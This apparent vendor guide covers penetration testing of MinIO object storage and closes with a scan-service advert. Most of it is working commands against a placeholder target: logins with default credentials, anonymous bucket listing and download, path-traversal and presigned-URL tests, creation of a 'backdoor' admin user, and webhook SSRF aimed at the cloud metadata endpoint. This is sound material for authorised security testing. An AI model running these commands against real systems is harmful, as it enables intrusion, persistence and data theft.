MinIO is the most popular self-hosted S3-compatible object storage, deployed widely in on-premise Kubernetes clusters and private clouds. Its familiar S3 API makes it easy to configure — and easy to misconfigure. Default credentials ship as minioadmin/minioadmin. The admin console runs on port 9001 and is often exposed without authentication. Anonymous bucket access can be set with a single API call. IAM policy wildcards grant unintended access. This guide covers systematic MinIO security assessment.
# MinIO default ports
# 9000 — S3 API (HTTP/HTTPS)
# 9001 — MinIO Console (web UI, newer versions)
# 9090 — MinIO Console (older versions)
# Fingerprint MinIO via server headers
curl -s -I http://TARGET:9000 | grep -iE "server|x-amz|minio"
# X-Amz-Request-Id: indicates S3-compatible endpoint
# Server: MinIO — explicit identification
# Check health endpoint (no auth required)
curl -s http://TARGET:9000/minio/health/live
curl -s http://TARGET:9000/minio/health/cluster
# Returns 200 = MinIO is running
# Detect MinIO via S3 ListBuckets without credentials
aws s3 ls --endpoint-url http://TARGET:9000 --no-sign-request 2>&1
# "Access Denied" = auth required
# "" = anonymous access enabled
# "NoSuchBucket" = auth required but endpoint confirmed
# Check if console is accessible
curl -s -o /dev/null -w "%{http_code}" http://TARGET:9001
curl -s -o /dev/null -w "%{http_code}" http://TARGET:9090
# 200 = console accessible
# Default MinIO credentials: minioadmin/minioadmin (changed from minio/minio in RELEASE.2021-10+)
# Earlier versions: minio/minio
# Test with AWS CLI (S3-compatible)
AWS_ACCESS_KEY_ID=minioadmin AWS_SECRET_ACCESS_KEY=minioadmin \
aws s3 ls --endpoint-url http://TARGET:9000
AWS_ACCESS_KEY_ID=minio AWS_SECRET_ACCESS_KEY=minio \
aws s3 ls --endpoint-url http://TARGET:9000
# Test via MinIO client (mc)
mc alias set test http://TARGET:9000 minioadmin minioadmin --insecure
mc admin info test
# If authenticated with admin credentials:
# Enumerate all buckets and their policies
mc ls test/
mc anonymous get test/BUCKET_NAME
# Check admin console with default creds
curl -s -c /tmp/minio_cookies.txt -b /tmp/minio_cookies.txt \
-X POST "http://TARGET:9001/api/v1/login" \
-H "Content-Type: application/json" \
-d '{"accessKey":"minioadmin","secretKey":"minioadmin"}' | \
python3 -c "import json,sys; print(json.load(sys.stdin))"
# MinIO bucket policies can allow anonymous (unauthenticated) access
# Check for public buckets via anonymous S3 API calls
# Enumerate buckets via XML API (without credentials)
curl -s "http://TARGET:9000/" | python3 -c "
import sys
try:
import xml.etree.ElementTree as ET
root = ET.fromstring(sys.stdin.read())
ns = '{http://s3.amazonaws.com/doc/2006-03-01/}'
for bucket in root.findall(f'{ns}Buckets/{ns}Bucket'):
name = bucket.find(f'{ns}Name').text
print(f'Bucket: {name}')
except Exception as e:
print(f'Error or auth required: {e}')
"
# List objects in specific buckets anonymously
aws s3 ls s3://TARGET_BUCKET --endpoint-url http://TARGET:9000 --no-sign-request
# Read objects from public bucket
aws s3 cp s3://TARGET_BUCKET/sensitive-file.txt /tmp/ \
--endpoint-url http://TARGET:9000 --no-sign-request
# Check public bucket via direct HTTP (anonymous GET)
curl -s "http://TARGET:9000/TARGET_BUCKET?list-type=2" | \
python3 -c "
import sys
import xml.etree.ElementTree as ET
try:
root = ET.fromstring(sys.stdin.read())
ns = '{http://s3.amazonaws.com/doc/2006-03-01/}'
for obj in root.findall(f'{ns}Contents'):
key = obj.find(f'{ns}Key').text
size = obj.find(f'{ns}Size').text
print(f'{key} ({size} bytes)')
except: print('Auth required or error')
"
# Check which buckets have public read/write policies
mc alias set test http://TARGET:9000 ACCESSKEY SECRETKEY
for bucket in $(mc ls test/ --json | python3 -c "import sys,json; [print(json.loads(l)['key'].rstrip('/')) for l in sys.stdin]"); do
policy=$(mc anonymous get test/$bucket 2>/dev/null)
echo "$bucket: $policy"
done
# MinIO IAM policies use JSON similar to AWS IAM
# Common issues: wildcard resources, overly broad actions, missing condition keys
# List all IAM users and their policies
mc admin user list test
mc admin user info test USERNAME
mc admin policy list test
# Export and analyze policies
for policy in $(mc admin policy list test --json | python3 -c "import sys,json; [print(json.loads(l)['policy']) for l in sys.stdin]"); do
mc admin policy info test "$policy" | python3 -c "
import json,sys
try:
pol = json.load(sys.stdin)
print(f'Policy: $policy')
for stmt in pol.get('Statement',[]):
effect = stmt.get('Effect','?')
actions = stmt.get('Action','?')
resources = stmt.get('Resource','?')
if resources == '*' or (isinstance(resources,list) and '*' in resources):
print(f' [!] WILDCARD resource: Effect={effect} Actions={actions}')
else:
print(f' Effect={effect} Actions={actions} Resources={resources}')
except: pass
"
done
# Test path traversal in object keys
# MinIO restricts access by bucket/prefix — test if path normalization bypasses policies
# Policy allows: s3:GetObject on arn:aws:s3:::restricted-bucket/public/*
# Test: can we access /private/ via path manipulation?
aws s3 cp "s3://restricted-bucket/public/../private/secret.txt" /tmp/ \
--endpoint-url http://TARGET:9000
# Test * vs ** in resource ARN matching
# If policy: arn:aws:s3:::bucket/* (single wildcard = one path component)
# /deep/nested/path may be accessible if MinIO evaluates * as **
# MinIO presigned URLs grant temporary access to specific objects
# Security issues: excessively long expiry, overly broad scope, URL reuse
# Generate a presigned URL (requires valid credentials)
mc share download test/BUCKET/object.pdf --expire 168h # 7 days = too long
# Check expiry on intercepted presigned URLs
# Parse from URL query parameters
python3 -c "
from urllib.parse import urlparse, parse_qs
url = 'http://minio.example.com:9000/bucket/file.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Expires=604800&X-Amz-Date=20260703T000000Z...'
params = parse_qs(urlparse(url).query)
expires = int(params.get('X-Amz-Expires',['0'])[0])
print(f'Expires in: {expires}s ({expires//3600}h)')
# 604800 = 7 days — excessive for most use cases
"
# Test presigned URL after expiry (should return 403)
# Test presigned URL with modified object key (should return SignatureDoesNotMatch)
BASE_URL="http://TARGET:9000/bucket/file.pdf?X-Amz-Algorithm=..."
# Try substituting a different object key:
MODIFIED="http://TARGET:9000/bucket/DIFFERENT_FILE.pdf?$(echo $BASE_URL | cut -d'?' -f2)"
curl -s -o /dev/null -w "%{http_code}" "$MODIFIED"
# Test for presigned URL scope — can a PUT presigned URL be used for other methods?
aws presign s3://bucket/upload-target \
--endpoint-url http://TARGET:9000 \
--expires-in 3600 > /tmp/presigned_put.url
# Try GET with the PUT presigned URL
curl -s "$(cat /tmp/presigned_put.url)" | head -5
# If returns object content → presigned URL method not enforced
# MinIO admin API allows server management when authenticated with admin credentials
# Test for excessive permissions granted to non-admin service accounts
mc admin info test # Check cluster info
# Create backdoor user (if admin credentials obtained)
mc admin user add test backdoor S3cur3P@ssw0rd!
mc admin policy attach test readwrite --user backdoor
# Check for config file exposure
mc admin config get test | grep -E "password|secret|key"
# MinIO CPU profiling endpoint (potential info leak)
curl -s "http://TARGET:9000/minio/v2/metrics/cluster" 2>/dev/null
# Should require authentication
# Test for SSRF via webhook/notification configuration
# MinIO supports webhook notifications for bucket events
mc admin config set test notify_webhook:1 \
endpoint="http://169.254.169.254/latest/meta-data/" \
auth_token="" 2>/dev/null
# Then trigger a bucket event to fire the webhook
mc event add test/bucket arn:minio:sqs::1:webhook --event put
# Check for exposed MinIO trace/profiling endpoints
curl -s "http://TARGET:9000/minio/health/cluster?verify" 2>/dev/null
# MinIO supports SSE-S3 (MinIO-managed), SSE-KMS (external KMS), and SSE-C (client-provided)
# Test what encryption is actually enforced
# Check if buckets require SSE
mc encrypt info test/BUCKET_NAME
# Encryption: none → objects stored in plaintext
# Test: upload without encryption headers
aws s3 cp /tmp/test.txt s3://BUCKET_NAME \
--endpoint-url http://TARGET:9000 \
--no-sign-request \
--sse-customer-algorithm AES256 \
--sse-customer-key "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoAAAA=" 2>&1
# If upload without SSE headers succeeds → no server-side encryption enforcement
# Verify bucket encryption policy
aws s3api get-bucket-encryption \
--bucket BUCKET_NAME \
--endpoint-url http://TARGET:9000 2>&1
# "ServerSideEncryptionConfigurationNotFoundError" → no default encryption
# Check MinIO KMS configuration (for SSE-KMS)
mc admin kms key list test
# No keys configured → SSE-KMS not available = only SSE-S3 or plaintext
* wildcard resources| Security Test | Method | Risk |
|---|---|---|
| Default minioadmin credentials | mc alias set with minioadmin/minioadmin | Critical |
| Public bucket anonymous access | aws s3 ls --no-sign-request | Critical |
| Admin console on port 9001 exposed | curl http://TARGET:9001 | High |
| IAM wildcard resource policies | mc admin policy info — check Resource: * | High |
| No default bucket encryption | aws s3api get-bucket-encryption | High |
| Presigned URL excessive expiry (7d+) | Parse X-Amz-Expires from URL params | Medium |
| Webhook notification SSRF | Configure webhook to internal metadata URL | Medium |
Ironimo tests MinIO deployments for public bucket exposure, default credential access, IAM policy wildcard bypass, presigned URL scope issues, and console exposure — ensuring your self-hosted object storage is as secure as managed S3.
Start free scan